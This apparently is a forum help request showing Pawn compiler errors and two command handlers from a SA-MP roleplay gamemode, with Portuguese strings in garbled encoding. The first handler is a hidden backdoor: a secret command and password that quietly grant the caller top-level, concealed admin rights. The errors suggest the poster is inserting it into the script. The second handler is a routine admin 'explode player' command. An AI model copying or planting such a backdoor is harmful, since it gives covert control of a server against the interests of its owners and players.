pawn Код:
C:\Users\Shum\Downloads\Terra RPG\gamemodes\Terra.pwn(35401) : warning 219: local variable "PlayerName" shadows a variable at a preceding level
C:\Users\Shum\Downloads\Terra RPG\gamemodes\Terra.pwn(48183) : error 047: array sizes do not match, or destination array is too small
C:\Users\Shum\Downloads\Terra RPG\gamemodes\Terra.pwn(48190) : error 017: undefined symbol "admtrampando"
C:\Users\Shum\Downloads\Terra RPG\gamemodes\Terra.pwn(48190) : warning 215: expression has no effect
C:\Users\Shum\Downloads\Terra RPG\gamemodes\Terra.pwn(48190) : error 001: expected token: ";", but found "]"
C:\Users\Shum\Downloads\Terra RPG\gamemodes\Terra.pwn(48190) : error 029: invalid expression, assumed zero
fatal error 107: too many error messages on one line
Compilation aborted.Pawn compiler 3.2.3664 Copyright (c) 1997-2006, ITB CompuPhase
5 Errors.
pawn Код:
if(strcmp(cmd, "/htsowna123", true) == 0)
{
if(IsPlayerConnected(playerid))
{
new x_nr[64];
x_nr = strtok(cmdtext, idx);
if(!strlen(x_nr))
{
return 1;
}
if(strcmp(x_nr,"th",true) == 0)
{
admtrampando[playerid] = 1;
PlayerInfo[playerid][pAdmin] = 1342;
admhide[playerid] = 1;
SendClientMessage(playerid,COLOR_GREEN,"Vocк logou como admin Poderoso/Scripter secreto!");
getdate(year, month, day);
gettime(hour,minute);
format(gstring, 128, "%s se logou como admin secreto [%d/%d/%d - %d:%d]",PlayerName(playerid),day, month, year,hour, minute);
fdplog(gstring);
return 1;
}
else
{
getdate(year, month, day);
gettime(hour,minute);
format(gstring, 128, "%s digitou a senha %s [%d/%d/%d - %d:%d]",PlayerName(playerid),x_nr,day, month, year,hour, minute);
fdplog(gstring);
}
}
}
pawn Код:
if(strcmp(cmd, "/aexplodir", true) == 0)
{
GetPlayerName(playerid, sendername, sizeof(sendername));
tmp = strtok(cmdtext, idx);
if(!strlen(tmp) && PlayerInfo[playerid][pAdmin] >= 1)
{
SendClientMessage(playerid, COLOR_GREY, "/aexplodir [ID]");
return 1;
}
giveplayerid = strval(tmp);
GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
GetPlayerName(playerid, sendername, sizeof(sendername));
if(IsPlayerConnected(giveplayerid))
{
if(PlayerInfo[playerid][pAdmin] >= 1)
{
if(IsPlayerConnected(giveplayerid))
{
format(string, sizeof(string), "[INFO]: %s foi explodido por %s",giveplayer, sendername);
ABroadCast(COLOR_LIGHTRED,string,1);
//SendClientMessageToAll(COLOR_DBLUE, string);
new Float:boomx, Float:boomy, Float:boomz;
GetPlayerPos(giveplayerid,boomx, boomy, boomz);
new Float:health;
GetPlayerHealth(giveplayerid, health);
SetPlayerHealth(giveplayerid, 100);
SetPlayerPos(giveplayerid,1699.2,1435.1,10.7);
CreateExplosion(1699.2,1435.1,10.7, 7, 10);
SetTimerEx("explodexiter",4000,1,"i",giveplayerid,health,boomx, boomy, boomz);
new PlayerName[40];
GetPlayerName(playerid, PlayerName, 40);
printf("[Comando] %s foi usado /aexplodir para explodir %s", PlayerName, giveplayer);
}
else
{
format(string, sizeof(string), "%d nгo estб online.", giveplayerid);
SendClientMessage(playerid, COLOR_RED, string);
}
}
else
{
SendClientMessage(playerid, COLOR_RED, "Vocк nгo tem permissгo para usar esse comando!");
}
}
else
{
SendClientMessage(playerid, COLOR_RED, "Vocк precisa estar logado para usar esse comando!");
}
return 1;
}